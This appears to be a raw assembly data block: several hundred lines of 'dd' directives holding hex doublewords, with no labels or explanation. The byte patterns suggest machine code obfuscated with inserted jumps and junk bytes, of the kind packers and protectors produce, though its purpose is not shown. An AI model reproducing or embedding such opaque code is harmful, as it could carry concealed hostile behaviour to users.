dd 8B665952h, 84FEBBD9h, 0C1BF1275h, 0B2483DD1h, 0F8F98BBFh
dd 0E330B960h, 0C381400Bh, 49E7B831h, 0BE60B561h, 3343A172h
dd 0E6811EB3h, 32C7344Dh, 0F68160F9h, 7F31187Ah, 61D3B70Fh
dd 8E9h, 5CF89A00h, 28D1BF7Fh, 0FE9EAh, 5D6B0000h, 0F248A4AFh
dd 0B50A61DDh, 303F767Ah, 14F7BEDDh, 0E380341Eh, 0D0B966A1h
dd 12E87Dh, 40000h, 75268366h, 53321C65h, 6C210EFCh, 0AA25D20Ch
dd 13E8h, 226ACB00h, 7E6B9DE7h, 0A7308903h, 34DFE812h
dd 934C9F7h, 5BA2D280h, 0D0B70F5Ah, 2840Fh, 0E8B30000h
dd 8E9h, 60984B00h, 8BBA0341h, 67BF66B9h, 0F606069h, 89h
dd 0C6B70F00h, 0C88B6661h, 0CF8B6661h, 0AF74BE66h, 0CE82AB0h
dd 77000000h, 73B01335h, 6B61CC66h, 5BF23982h, 0BF0FA5B7h
dd 0E864BBC2h, 816610A2h, 0FDFB4DEh, 18Eh, 14E8F900h, 8000000h
dd 98859DCh, 7FF140CDh, 0C50A113Ah, 84E8A1D0h, 0E9279B9Fh
dd 14h, 38E895B7h, 7F2047F1h, 4D3DB53h, 0A873F2EEh, 83EA6D9Eh
dd 9CBA6659h, 0C38B66C4h, 9924C781h, 870F6394h, 6, 8E0Fh
dd 8B660000h, 78F0FD1h, 0F000000h, 18Ch, 85B7F900h, 0EE9h
dd 5845E400h, 318E0E73h, 9C8FD90Bh, 80C5398Fh, 0F18B5BDFh
dd 8AD38B66h, 65BE66FAh, 0D28166C0h, 8166DDDDh, 8BA06FF0h
dd 1C880F7h, 0FE8h, 23534700h, 0F567F158h, 0EDC9EEBDh
dd 88A98F8Ch, 10E9h, 35E02300h, 83FE8D16h, 7E37B9FEh, 0F6E2AD37h
dd 0F9BB5B45h, 0BB194585h, 1A78B07Ch, 66D08B66h, 573E70BBh
dd 2821BE66h, 66DE8B5Ah, 0C0BFD881h, 0FFA8B66h, 58Eh, 0EA816600h
dd 8166CD20h, 0FAC6AE9h, 108Ch, 5E800h, 77C20000h, 0BBB74C46h
dd 7F5E0A78h, 1CC1815Fh, 0F4BAA5Bh, 0FE9DBB7h, 6000000h
dd 0F0B9F112h, 2EBBCCC0h, 0FB5C94B1h, 0FE937A7h, 0DE000000h
dd 0B248E4C6h, 0C400B2B5h, 8521190Eh, 50B9521Ch, 8052511Fh
dd 0B70FDFD3h, 0D38160F9h, 4DB6F2E5h, 4800F61h, 66000000h
dd 0FC24ABBh, 480h, 61605100h, 38C0F58h, 66000000h, 0F480C68Bh
dd 5820F20h, 0BF000000h, 7E7D282Eh, 0BFF78A60h, 695CA5FBh
dd 0DABF0F61h, 5870Fh, 0AB80000h, 66225261h, 5EBFC28Bh
dd 0E9297A42h, 7, 0E3328CFAh, 0F9B54274h, 76E08166h, 0C881667Fh
dd 56B85A48h, 0F6B2597h, 1D81h, 11E800h, 69940000h, 3A747FEh
dd 74702F00h, 0B4854999h, 0F873CF4h, 84h, 0B8665A00h, 66F92B50h
dd 6E8EC381h, 0FC78B66h, 18Eh, 8B66F500h, 0D68166F2h, 8B664508h
dd 0FFBF0FF7h, 0A346BE66h, 0E18166F5h, 8D0F7442h, 2, 0F5531CB2h
dd 0F60605Fh, 8166F8BFh, 61119CEBh, 2820Fh, 0F38B0000h
dd 81665761h, 5913EAEFh, 0AE9h, 0D47DBA00h, 1A0F5E53h
dd 0E938EDBDh, 9, 8ED8D18Fh, 7625B61Bh, 0C8816650h, 6E9E572h
dd 4C000000h, 0C2050EF8h, 19820F2Ah, 0E9000000h, 14h, 9221FC1Ch
dd 540C0EC1h, 0D82C3556h, 94468F23h, 9C4F68CBh, 7231B866h
dd 890FF38Bh, 2, 0F18BF78Bh, 0D1E38166h, 0E9536060h, 0Ch
dd 0FF49E35Dh, 0C68768D3h, 17111103h, 0CE81615Eh, 73B31529h
dd 10E9h, 0F311B500h, 0C38EF0C7h, 0FDC9DE27h, 0EA0CA433h
dd 41D080ACh, 14E967B6h, 79000000h, 0A5C16BDEh, 585E3289h
dd 0B16EF3E2h, 0A280B7D4h, 60F5B4E4h, 8736B866h, 0FE961h
dd 0CE3A0000h, 0A71673Dh, 0A7765225h, 0BF873788h, 6E869h
dd 11F0000h, 0C8B9595Fh, 11E9h, 85279000h, 0B42BAAC2h
dd 4A0F0E02h, 0A3D43EBh, 56599799h, 8E9h, 1FA41400h, 0BAD566AAh
dd 8B665B6Dh, 24BF66DEh, 3850F02h, 0F000000h, 8A0FC8B7h
dd 6, 8B0Fh, 8B660000h, 16840FC7h, 0E9000000h, 11h, 0CCAFB5E1h
dd 2B7B8EF8h, 45CA1387h, 472C0AAEh, 8B0F60B5h, 17h, 12E9h
dd 0FE83FE00h, 377E37B9h, 45F6E2ADh, 0C502B502h, 0FA58A98h
dd 0F61CFBFh, 8B66C1B7h, 0E38166C1h, 81666B95h, 0F855DC8h
dd 90B8D1BFh, 0E81B0D87h, 11h, 38A0C859h, 226E32F9h, 339B9BC3h
dd 3B9E4E8Ah, 0D2B05873h, 11E9h, 91E84400h, 7B8CF9FAh
dd 5F668441h, 17213B54h, 0EC8A5F02h, 7571F681h, 870F3E94h
dd 15h, 10E9h, 425FE400h, 741473BEh, 5389E48Dh, 5031A3Dh
dd 0B785B4A5h, 0EF816665h, 0F557E5C7h, 73C28158h, 8A55DD89h
dd 11E850DDh, 7B000000h, 4ACAF671h, 0BD49E1D8h, 0C2FFB29Ah
dd 33EEA76Ch, 0B5595AF5h, 47BA66C3h, 7CC68135h, 0BB04168Bh
dd 75C0F3F7h, 0BE8F8h, 3B710000h, 0C1284E6Ch, 20B84F44h
dd 3B14B986h, 5159492Ah, 6E9h, 611B2F00h, 5EFA3ED8h, 12810F60h
dd 0E9000000h, 0Dh, 14911ABBh, 8E48B0A2h, 0DF577C0Bh, 0D98B60ADh
dd 61616160h, 0E02FB966h, 0E98CA81h, 0B70F31ABh, 0BE6656DEh
dd 0BF5924AFh, 3389542Eh, 9C181F9h, 66091F79h, 15B9E681h
dd 78A0Fh, 8B600000h, 0D0BF0FCBh, 12E9FC61h, 23000000h
dd 58FEC032h, 0A4DF1882h, 5085ED38h, 362371BEh, 8CBA520Eh
dd 5A63371Ch, 0BE9h, 29795000h, 37E7AC31h, 88E994ECh, 0FCB8AF5h
dd 887h, 0EB816000h, 49D9E569h, 0E95B5661h, 7, 10921630h
dd 66C2979Ah, 79E3D381h, 8BCBBF0Fh, 66C68BD1h, 8B66DF8Bh
dd 870F60D6h, 2, 0BF0F5A56h, 816661F2h, 0E9E4C0D7h, 0Bh
dd 2C17FB6Ch, 37D00BC2h, 8169FF5Fh, 641DD5E8h, 7E8574Ch
dd 46000000h, 483FFE11h, 5FF53807h, 0C18B665Ah, 0C860Fh
dd 7E90000h, 93000000h, 0F904B455h, 0AE99326h, 8B000000h
dd 44AD1982h, 0D7C37E2Bh, 188A0F1Ah, 0E9000000h, 13h, 987818E5h
dd 0D3E49FC7h, 57077DFFh, 5E20280h, 816F336Eh, 4D4C21C7h
dd 3C99B836h, 8D0F5675h, 5, 3BF6A1BEh, 0AE8605Ch, 74000000h
dd 0E735331Ch, 0CC942126h, 5A5A502Fh, 0DF816661h, 81660803h
dd 664715EBh, 0C0FAC981h, 6810Fh, 0CA810000h, 438638B6h
dd 800Fh, 81660000h, 0B6A164F0h, 0F9B70FEDh, 10E9h, 883E7600h
dd 0E1B4A0F4h, 68015E0Dh, 0E47E1215h, 59DBF80h, 8B664721h
dd 667EB7FBh, 8B998AB8h, 0BF0F57D1h, 0BF0F58D0h, 7F7EB9C7h
dd 8B661958h
dd 66D68BDEh, 66EB8BBFh, 0DBBAC28Bh, 0E83471DBh, 6, 0B93694A3h
dd 14E92BBFh, 0DE000000h, 0E5033A81h, 61F1EA4Bh, 54B67856h
dd 9C0A7E40h, 5A20B538h, 880FDF8Bh, 5, 0C3DA8166h, 14E97Bh
dd 0FA090000h, 75BEEC01h, 0D93880EDh, 51B6BF6Eh, 26094397h
dd 0BB66B3A3h, 0B5B2ECF6h, 0F9F1B70Fh, 67641BB9h, 880FFC54h
dd 8, 28E0Fh, 61600000h, 38B0Fh, 0CB800000h, 4B05BAF0h
dd 6FB50F8Fh, 18C0F60h, 0F5000000h, 13E9h, 1033600h, 40BF685Bh
dd 4A2144F3h, 0CFF9CFEDh, 78E1D9D5h, 0F0B70F61h, 9632BFF5h
dd 42B9781Ah, 813021E5h, 935628D1h, 13E911h, 0B9A90000h
dd 9F0775F8h, 0DA938924h, 2B9A2CCFh, 88B99944h, 0E22ABFE9h
dd 14E93706h, 0BB000000h, 146D78B3h, 0C215D8DEh, 8731321Ah
dd 21F2A4C9h, 0E9DD2CA8h, 13h, 2DDD8611h, 42A7600Eh, 6787AF36h
dd 0DF1DCA3Bh, 0F07BB53h, 0C89h, 6860F00h, 81000000h, 57EB2BDFh
dd 0F7816675h, 26B15465h, 880F15B3h, 4, 85AFBA66h, 0FD6B70Fh
dd 0A8Eh, 860F6000h, 0
dd 6661FFB6h, 118CF81h, 0B8665F52h, 0B70F9758h, 5890FC3h
dd 66000000h, 18F1E981h, 8BDAB70Fh, 0CB8B66CEh, 868EB81h
dd 850F7F35h, 3, 66C7B70Fh, 8B03B9BBh, 0C68166F9h, 8166778Ch
dd 6609A8E1h, 0FE04DBEh, 8Eh, 18E0F00h, 0F5000000h, 4170BE66h
dd 8B665F52h, 84B9F8F0h, 816F2E11h, 0C41380DFh, 77BB6645h
dd 19B866FDh, 0AE9D8h, 61C50000h, 0C8EF22E2h, 51B75B66h
dd 72BC8ABBh, 0A56EB905h, 10E906C0h, 82000000h, 73CC1849h
dd 84678A42h, 0F6F5E6BCh, 0E9440AB6h, 6, 7EBBFC0Eh, 8A0FF9D3h
dd 16h, 11E9h, 84AFBD00h, 0FEB712C4h, 0D618A385h, 0D11746A0h
dd 810FDF30h, 5, 487BB3BAh, 0C8E48012h, 14E9h, 1C8CEC00h
dd 0F6500DEBh, 8384CC9Bh, 8C1043Ch, 0ABE523CEh, 8166608Fh
dd 0F2988C8h, 38Ch, 0CEB70F00h, 18F0F61h, 0FC000000h, 0E8F5ED80h
dd 0Dh, 4D2208F5h, 0B2D835BAh, 7F094A25h, 92D8BBC2h, 8A5E567Ch
dd 0DF8166DAh, 0F08A77B7h, 0F0DCA80h, 0A8Ch, 5E900h, 25AD0000h
dd 66ACCEFBh, 4D2D781h, 0DE8h, 0CD346D00h, 50B7243Dh, 9AE082D0h
dd 890F2887h, 17h, 11E8h, 55856000h, 0D9E3ED16h, 0F07F8777h
dd 0C9CD08D6h, 5B5F1102h, 0BA593DBAh, 3CF68060h, 0FF28B60h
dd 283h, 61F5B600h, 8C0FF08Bh, 2, 0DE95EB3h, 0C3000000h
dd 7B6F82B9h, 3DD11Ah, 0C3B78D99h, 0E924D280h, 0Bh, 8E33DF3Dh
dd 3CDED0BCh, 6081EFD1h, 0FE9h, 4D9C1500h, 3A683004h, 4A5E5454h
dd 0CAEC4D14h, 5E961h, 36730000h, 0F944ADEh, 8F0FD8B7h
dd 9, 66E4B460h, 0D6ABE181h, 68D0F61h, 81000000h, 9905CBCBh
dd 66CB8B28h, 8166F18Bh, 8A08DDC1h, 816660C3h, 61E636E8h
dd 8E9h, 9EE43C00h, 4EB8CDF1h, 17CC805Ch, 0FE88166h, 0C2BF0FE0h
dd 0AE9h, 0C0193F00h, 3183679Fh, 0F7190E6h, 0CB8BC8BFh
dd 8B0FD58Ah, 0
dd 83721FB9h, 0DEBF0F7Bh, 0C2816660h, 0E861EF9Fh, 0Eh
dd 0A638574Fh, 0C3B5112h, 0B2BC50F3h, 8B53D161h, 8B585AD6h
dd 10E9D0h, 2EF20000h, 8A88C44Ah, 40E0A835h, 71522E0Ah
dd 0BA66970Fh, 800F940Ch, 2, 8B66CB8Ah, 3800FCEh, 66000000h
dd 0CE81C38Bh, 15A3D8F3h, 28A0Fh, 0D78B0000h, 7E9h, 0CFC59300h
dd 8D6F4461h, 12E9h, 0B79F1000h, 5F424665h, 50476110h
dd 929D6CC0h, 0F8857365h, 48D0Fh, 53530000h, 0D38B5F59h
dd 6042E280h, 3BB6660h, 0D7816637h, 0F61BA8Dh, 68Ah, 78CB8100h
dd 6167FEB8h, 0CF8B6051h, 8B665F61h, 0B86660DEh, 880F7C29h
dd 6, 0AE73C681h, 0F610AB7h, 8166DEBFh, 0F86CC0E0h, 5E9h
dd 67D93300h, 810F12ADh, 4, 5E616056h, 81F9C38Bh, 3C805ADFh
dd 5E90Fh, 67080000h, 0F98A9792h, 0E2BF66FCh, 9E9E0h, 897B0000h
dd 2B551838h, 665BE0C9h, 0E92515BFh, 0Bh, 0CC9857AFh, 0D50490F3h
dd 66ECC100h, 813E381h, 7B9FBA60h, 0BE663A25h, 606169F0h
dd 4830Fh, 0BB660000h, 0E9B3F0E6h, 8B96661h, 41BF665Fh
dd 0FDAB5BFh, 0EE8C0B7h, 18000000h, 4C511DFCh, 6E74DF28h
dd 0E5E77AACh, 2DBF6667h, 0D6815A53h, 1D1445A3h, 8166FA8Bh
dd 0F8B2D3DBh, 81D9BF0Fh, 925B77E0h, 0C281666Eh, 0FF591B7h
dd 0C880DBB7h, 0DE9FCh, 6E340000h, 2E99136Ch, 0EC8A99E7h
dd 6030CD79h, 613DB5FCh, 0F26B060h, 388h, 0F18B6600h, 7E961h
dd 0F1890000h, 95AE9646h, 81666089h, 610F09D0h, 4B0FBB66h
dd 0EE9h, 259A8E00h, 0DE33AF62h, 770B773Dh, 5231FA99h
dd 8B665BFCh, 66F58AC7h, 7BB6DF8Bh, 66F9B70Fh, 9D9DD381h
dd 5888D381h, 0C0812FBFh, 6BC8FA6Dh, 6C71BE66h, 0EE9h
dd 0BCF0F00h, 834F152Fh, 0B2490C19h, 0E89DC34Ch, 11h, 6D7BF80Fh
dd 0DC237745h, 988A8D6Ah, 58CC8F89h, 0E859F990h, 5, 0B2FEDA40h
dd 0B8B8665Bh, 0B9665E87h, 5E84EC3h, 0D000000h, 13607AC7h
dd 0D2C7B966h, 0D008BB5Fh, 816643F0h, 0E8D3F0C9h, 7, 0AA753DA4h
dd 0B4355184h, 0C38B5F4Dh, 11E8h, 0A0FCE00h, 2914F6F3h
dd 0BAC7CDC6h, 8D62A347h, 0B1B2C612h, 2A8EBF5Bh, 0EE909FBh
dd 82000000h, 7092364Fh, 0CD167531h, 618EBE17h, 7E9D5h
dd 29750000h, 9C036305h, 9E8A3h, 0C9360000h, 8564C305h
dd 0F8BE8BA1h, 0BA66605Eh, 840F2151h, 6, 687CCA81h, 0F6136C2h
dd 489h, 10B86600h, 58E0F47h, 66000000h, 0D13ADF81h, 19A5C681h
dd 0F571E29h, 6658FABFh, 0BF9BC9BFh, 72D1BA10h, 8B0FC78Ah
dd 0Ch, 68C0Fh, 0E9810000h, 1CE82545h, 0E951A4B2h, 12h
dd 0DE4B29E3h, 65667A45h, 0F463688Fh, 5DD9D91Dh, 8B586745h
dd 10E9F0h, 1CB0000h, 0C031F553h, 93AB4947h, 776FCEFCh
dd 0FF96ECDh, 0DE81D2B7h, 3587EF75h, 14E88166h, 0DF8B66EBh
dd 0E9C28B66h, 10h, 487312C8h, 0BA42C3FBh, 44A22034h, 0AB789176h
dd 19840Fh, 0E9560000h, 12h, 0E4FF84C8h, 1465FD33h, 4CDB0E16h
dd 0A5A8203Ah, 8B5BB5FAh, 8B0F60CEh, 2, 810FD0B3h, 5, 0D7AFE3BAh
dd 810F616Ch, 29h, 0FE8h, 0A50E5800h, 74D7100h, 0E75AE8E7h
dd 0DF445105h, 0FE9h, 0CE5E3000h, 0DF1934D9h, 0D24233Fh
dd 8AE2B9E3h, 810F59h, 0F000000h, 0CE9F8B7h, 0B2000000h
dd 3B6BC8DAh, 2D33948Eh, 0E801E894h, 0Bh, 918A7CB0h, 4206BAA4h
dd 0F9B4899Fh, 0C8D0F5Ah, 0E9000000h, 7, 5CE6B5CEh, 604569ADh
dd 60AD681h, 61F8125Fh, 63BB6660h, 7E9EBh, 0CA4D0000h
dd 0C02CDD7Fh, 8E961A8h, 17000000h, 57CBF1F4h, 664830A4h
dd 23B4C28Bh, 108E0Fh, 0F9600000h, 7E8h, 304D9000h, 789B02BBh
dd 0A0B8615Bh, 662DBAD5h, 0E90398BEh, 7, 0EFFB6429h, 6072DC8Bh
dd 810F60h, 0F000000h, 84h, 0F9536100h, 0B866615Fh, 0CE8B1BF2h
dd 0CFD68060h, 4800Fh, 0BF660000h, 8161F3BBh, 759EE9D9h
dd 0BF665013h, 0E95E7539h, 11h, 0E7395180h, 2C0F807Ah
dd 4B79C2DAh, 86A6648Eh, 95CE81D4h, 564A540Bh, 3860Fh
dd 0CC800000h, 0B9B25F57h, 9AEF8166h, 0C3B70F1Ah, 0CBF480F8h
dd 7E9h, 0F293E100h, 52260626h, 12E9h, 0CCB2C900h, 910F1B0Dh
dd 158DB7B7h, 62D885A5h, 0BF112224h, 2666CD0Dh, 8E9h, 38751B00h
dd 2CDF90F4h, 5E94Ah, 0AD180000h, 609CD20Dh, 0FF8B70Fh
dd 88h, 0E9F86100h, 9, 0F303C862h, 4F334E99h, 66CA8BB1h
dd 0FE8F38Bh, 0AA000000h, 133EA3C3h, 643B29F3h, 737C47BDh
dd 820F1772h, 6, 8C0Fh, 0F590000h, 8B66D3B7h, 0C78B66D7h
dd 0FE960h, 72D60000h, 76DD795Ch, 2C08FF38h, 96E20D3Dh
dd 0BE961A2h, 30000000h, 5F6A22Ah, 61DE4F3Ah, 6CB17345h
dd 0BE9h, 0D5A1E700h, 66681C5Bh, 87DFB1FBh, 0BBCFD180h
dd 6A07E41Ah, 0C6BF0F51h, 0F0B70F58h, 0F9CBBF0Fh, 80D3B70Fh
dd 666076F6h, 12C7F381h, 0FDBF6660h, 6E3CBA4Dh, 61613106h
dd 3880FF5h, 0F000000h, 0DB81F0BFh, 1952FD8Dh, 841D73BAh
dd 8CE98100h, 605FE313h, 49E827B9h, 8B66617Bh, 13810FC3h
dd 0E8000000h, 7, 0DF1F7FFCh, 81D5EFE5h, 65FC2ACBh, 0BF0F5E00h
dd 0CE8166DEh, 74BA31D3h, 0F53EC8D8h, 0E18AD78Bh, 81D6C380h
dd 99DD98F7h, 0EDB96618h, 0BE0FB6C0h, 48D61352h, 0A8E0F60h
dd 0E9000000h, 5, 0F42E14FDh, 4F681FEh, 613C98B4h, 3FB6E58Ah
dd 9E9h, 474F1900h, 3715C77Eh, 53605A8Ah, 0CA74D081h, 0F5F2F81h
dd 682h, 850F00h, 61000000h, 28B0Fh, 0D78B0000h, 3FC68166h
dd 0B4BE6623h, 11E9565Bh, 56000000h, 7B9223EDh, 82423B1Fh
dd 1EE9C2EAh, 0BA451E2Eh, 0C7BF0F5Fh, 0E0A42DB8h, 8880F2Fh
dd 0F000000h, 28Dh, 8BD78B00h, 48E0FFEh, 66000000h, 66CE17B9h
dd 66B203B9h, 0CF8BCE8Bh, 0AE8h, 6FBC5B00h, 6D80A855h
dd 0E98CEAECh, 9, 158FC8DEh, 6B9FF2Fh, 0D98B5E87h, 43DB8160h
dd 614D4329h, 0EA816060h, 7DABB3C7h, 0C5ED8061h, 0CEBF0F61h
dd 66D8BF0Fh, 0F995DBFh, 486h, 0F08B5200h, 41D1BB58h, 12E80C8Dh
dd 0AE000000h, 0C33D52A2h, 5008639Ch, 0A0F23D3Bh, 0E211C202h
dd 0CF8B58B2h, 0BE8h, 9860F900h, 0BD1E565Fh, 0D78A12C9h
dd 0EE958F8h, 0EF000000h, 2C625019h, 7073DA5Fh, 7C89D708h
dd 8166532Dh, 59FF2AD6h, 7446BF66h, 0B70FE78Ah, 0F3B70FF1h
dd 728ED981h, 0F08160D4h, 516F016Eh, 0FD1BF0Fh, 48Bh, 5A565300h
dd 0CC806058h, 61F78B33h, 0F5C68B66h, 62E88166h, 0BBA66A5h
dd 198B0F1Bh, 0E8000000h, 12h, 3377D515h, 0A5A62526h, 0B04C5968h
dd 66B99F32h, 5FFC90BAh, 4DB96651h, 8B665A02h, 602CB0F3h
dd 0B8C28166h, 0FE9B7h, 41D80000h, 0E28507CBh, 8660A79Eh
dd 4CDFF07Eh, 0B70F617Eh, 6E8F7h, 0C38C0000h, 0A32B775Dh
dd 13E9h, 3236C00h, 415A4ADCh, 4EB5A675h, 0BE51FFD7h, 9C635000h
dd 0C881605Ah, 0D9AEE1Dh, 665E5760h, 612647B9h, 0D68B6661h
dd 0AFFBE281h, 0B70F1A88h, 10E8FCC6h, 0F000000h
dd 0A78C8511h, 0FD0EA0CEh, 902B5612h, 81D0B60Ch, 3A9D1EE6h
dd 8B665F1Ah, 9DF380C2h, 0E949DC80h, 8, 17E15EEDh, 0F5D794C2h
dd 0AE8FE8Bh, 82000000h, 113F9DD3h, 24167A55h, 11E996h
dd 5C640000h, 0DFB9962Bh, 55BE4C9Fh, 0C0392031h, 5F2E337Fh
dd 0F7B70F60h, 8161F38Ah, 198E9ADEh, 30C88127h, 0F6FF7DDh
dd 8F0FC2BFh, 2, 840F6EB1h, 2, 8A0F46B0h, 5, 0F9C98166h
dd 0F18B666Dh, 2BAFADBFh, 0E956B130h, 0Bh, 0B1646F65h
dd 0FBF5BD72h, 5233137Eh, 0C0E38166h, 0DE805EF1h, 0F8C18BA2h
dd 27F68166h, 66595638h, 3911D681h, 0FD8B70Fh, 78Ch, 81665200h
dd 59991FD6h, 188C0Fh, 13E90000h, 0CB000000h, 0E5E6AC7Ah
dd 725B0330h, 2776D22Fh, 0D30037DBh, 890FCB9Bh, 2, 13E9C78Ah
dd 96000000h, 13181606h, 74959BE5h, 668B892Ch, 4F82D914h
dd 0E9609236h, 0Ah, 0FE07DEBDh, 6A7AF155h, 8A0F009Bh, 3
dd 6135F780h, 10E9h, 0E1F58300h, 71234FCh, 73AF2222h, 0EA93D9B7h
dd 8F0F09h, 0F000000h, 1189h, 0CE900h, 71AB0000h, 2C6F3D86h
dd 0F7DC7EBAh, 8E0FC701h, 0
dd 0FFB9C081h, 8B0F15C1h, 8, 28E0Fh, 0CA8B0000h, 0E8DFBF0Fh
dd 0Eh, 73667051h, 0DC81A85Ch, 32901180h, 890F2ABFh, 0Bh
dd 6E9h, 61741800h, 59F89A03h, 8E8h, 908F9D00h, 0B5082E20h
dd 0AE9F0h, 8C650000h, 5A07BA87h, 8567415Ch, 4830F5Eh
dd 51000000h, 0F59C78Bh, 18Bh, 8D0FF900h, 3, 0B8D6B70Fh
dd 1DC0316Ah, 0FE952h, 0B650000h, 4082700Dh, 70E691DCh
dd 0BCC08025h, 8C0F5F02h, 0Bh, 6E9h, 37D43100h, 8A7B34B3h
dd 11E9F1h, 9F3C0000h, 0E62F86C3h, 0BBEFEB36h, 0DE5E8023h
dd 0E94709E2h, 0Dh, 0FB248160h, 5F22B2AFh, 2FF96FB0h, 198F0FD3h
dd 0E8000000h, 13h, 8C212EABh, 19641703h, 3B1720AFh, 98D6C09Ah
dd 5F706C05h, 8E8h, 9D536900h, 6FF92FBFh, 6810F28h, 0F000000h
dd 86h, 0EB815900h, 606B674Ch, 0C1CE8166h, 0FD38BCDh, 48Fh
dd 0ABBA6600h, 0EF815753h, 21B8E6F9h, 8B66F95Eh, 0FEC8AF1h
dd 8166F1B7h, 0E97865C8h, 0Fh, 0C57BD01Fh, 1FC9E027h, 53E8E6B9h
dd 0E8195C12h, 0Fh, 9C0F70B0h, 0AF5C080Fh, 4D15E54Dh, 66CA79E3h
dd 7680E181h, 0D5B9665Eh, 12E9ACh, 70AD0000h, 98B35BE2h
dd 0ACC8138h, 159D4132h, 579E1275h, 5E8h, 0AB494700h, 0B751FC93h
dd 0E9585867h, 0Ah, 221411BCh, 0A33EB3E1h, 13E9808Bh, 3F000000h
dd 927C5828h, 17F7426Eh, 83F80788h, 0F36EC510h, 66F5D91Ah
dd 5760D88Bh, 535FF38Ah, 615A6160h, 66D9B70Fh, 0DEC5DE81h
dd 0AF51C981h, 8A0F3481h, 0Ah, 0BDA1BA60h, 8B6675AEh, 0E88161F2h
dd 46F59E7Ah, 0BF0F6DB4h, 0FE9F2h, 6CF80000h, 0A464B4F5h
dd 862942Fh, 751E1ED9h, 630DBA4Dh, 11E85F28h, 0FB000000h
dd 9F820977h, 120C2CC9h, 0BB8E38EFh, 7524CBB0h, 0EA816651h
dd 5B599782h, 98F0Fh, 8C0F0000h, 3, 81FA8B66h, 0D0AFD4C0h
dd 0DF806053h, 0EF8166CFh, 8061CB5Ch, 8CB7F2C7h, 0B051C780h
dd 0CA8166B4h, 0D08B60A1h, 0E97EDFB8h, 66CB8B22h, 0E9D9F781h
dd 12840Fh, 0DE90000h, 0AD000000h, 0A2B8315Dh, 7F8D51ECh
dd 0E6BEBFA6h, 0F66E99BEh, 3870F15h, 80000000h, 0CCB194D2h
dd 850Fh, 0BF0F0000h, 0D68B66F6h, 7E960h, 0BAFE0000h, 0F3327CF8h
dd 0DE8BEh, 72680000h, 8D583F0Eh, 9B7F9880h, 0E83AE8C7h
dd 8, 0C5891E8Ah, 28C46ADDh, 60615A5Bh, 0A7E88166h, 28E0FB8h
dd 60000000h, 0F536161h, 58Ch, 0F6816600h, 605ABD6Bh, 0B73BF66h
dd 0E95661F9h, 0Dh, 0F4AC5083h, 41DAC5B4h, 0A0D377F5h
dd 820F585Dh, 2, 0F88A5B52h, 1A800Fh, 14E80000h, 4E000000h
dd 0AD3BE069h, 0BD22589Eh, 1AAA4B25h, 23DA2F8Ah, 585DE391h
dd 0AE957h, 5E660000h, 0F128DE24h, 9B408D7h, 80C88B5Ah
dd 4AB9B2E5h, 0BB5FF48Dh, 15024965h, 6E9F560h, 0CB000000h
dd 9EE28507h, 14E961A7h, 0EC000000h, 44034B1Ch, 7060E131h
dd 0A288CCDFh, 7C0F509Ch, 66ACD17Bh, 0FFA4F281h, 0DE9h
dd 0E87B5500h, 4EAAB7AEh, 0A002DEFEh, 8C0FE5F2h, 2, 0EA8A5952h
dd 11E9h, 4E7A5D00h, 4293718Eh, 0C83402EAh, 1AE5B0B5h
dd 5360A21Bh, 0BE9h, 0CBF99300h, 0E884235Fh, 0CE7B83D1h
dd 2860F5Fh, 53000000h, 0E9F5615Ah, 0Eh, 0EA9825F8h, 817BCC00h
dd 0AEF9BCADh, 8166A336h, 0B78212F7h, 0C6816617h, 9B75CAEh
dd 3870Fh, 0BF0F0000h, 0D88B66D9h, 0FE9h, 578C1500h, 0DB13866Fh
dd 6ED0EC93h, 0DAB6C610h, 0E8C0BF0Fh, 10h, 0F49CA68Ah
dd 0E2348C24h, 61414EB7h, 221C35C6h, 0B55CBE66h, 6E95Bh
dd 12120000h, 0B3DBF365h, 3880Fh, 0D9800000h, 60605736h
dd 7E961h, 3BC30000h, 748D8466h, 0E95A6144h, 10h, 472E3996h
dd 0DD9E997h, 0A970BA46h, 0F63721DBh, 5E9h, 0E1B35200h
dd 30B1E8D2h, 0CDC3F081h, 840F62D7h, 10h, 0BE9h, 66E6E00h
dd 0D3676FBEh, 38582490h, 2830Fh, 0DFB40000h, 11E8h, 0D2562B00h
dd 0FC5F3EB7h, 6B0B5B9Ah, 0B15B981Ch, 0B86613BFh, 665E090Ah
dd 7E5AE181h, 3850Fh, 0B70F0000h, 10CA81FAh, 8127658Dh
dd 3DA933F2h, 14E960h, 0BD630000h, 0DB763E3Ch, 0E9FA21D4h
dd 81E5F1A6h, 256F0CF7h, 8E9E325h, 7E000000h, 0A567216Bh
dd 0FC6EBDFh, 689h, 39C68100h, 8B7410AAh, 14E8C1h, 203C0000h
dd 7E6A2F5Ah, 5C97A40Ch, 64E0ACh, 0C3AD1E86h, 0B160FB0Ch
dd 0DE92Ah, 0F9B40000h, 0BEFDC2F6h, 0C65C1114h, 61D704DAh
dd 58A0F5Bh, 0BB000000h, 27A08482h, 5E51F28Bh, 0F60D38Ah
dd 286h, 0E9D98B00h, 5, 8D2708E0h, 8F0F6105h, 6, 0DCF6E281h
dd 10E95778h, 0E8000000h, 0AFB3802Eh, 7247A3DAh, 9B990663h
dd 6698EB69h, 0F83A96BAh, 3E97D681h, 8B665C59h, 17CAB8D1h
dd 0E9FC4867h, 5, 0E8175784h, 13E956AAh, 94000000h, 60C7E3B3h
dd 3DA751E6h, 0E92E4306h, 0D7807252h, 575A70D1h, 0FC5ED78Bh
dd 6E860h, 93620000h, 87A01D45h, 0BFB9665Fh, 15BA617Ah
dd 812C427Fh, 0D31CA7D9h, 0D08B6677h, 7E8FCh, 97B20000h
dd 0F561AEAAh, 0C2BF0F97h, 0BF0FF95Ah, 5E8FFh, 43660000h
dd 0E966B54Eh, 0Ah, 32E7C19Dh, 4C3994BCh, 0F5EF410h, 0F480F6B7h
dd 0EE86036h, 0FE000000h, 0DB02D37h, 7EF37237h, 1B705CDBh
dd 8B0F40h, 5E000000h, 806150B6h, 0B70F2EE1h, 7E9F1h, 0D1EC0000h
dd 0EB15F3BFh, 0DF816644h, 8B6642CEh, 0DE951CEh, 0F8000000h
dd 0D19086DAh, 0A75889DBh, 0C4542A8Ah, 11E85Eh, 65E60000h
dd 6AD23B0Fh, 0B20417A3h, 73EFF3B9h, 0B064F177h, 5E85EE5h
dd 72000000h, 0C9753296h, 0F5855B0h, 1A86h, 12E800h, 89E30000h
dd 0F652A5D0h, 0EDDBB575h, 0E301FB96h, 0B4BB82CDh, 66595857h
dd 5DECE81h, 2830F60h, 0B2000000h, 0C6816694h, 8B619BE4h
dd 3AD881D8h, 0B0380870h, 3800FADh, 0F000000h, 880FC8B7h
dd 3, 0E95EF850h, 11h, 6564A3F1h, 8AED87D5h, 0AC8D2CF8h
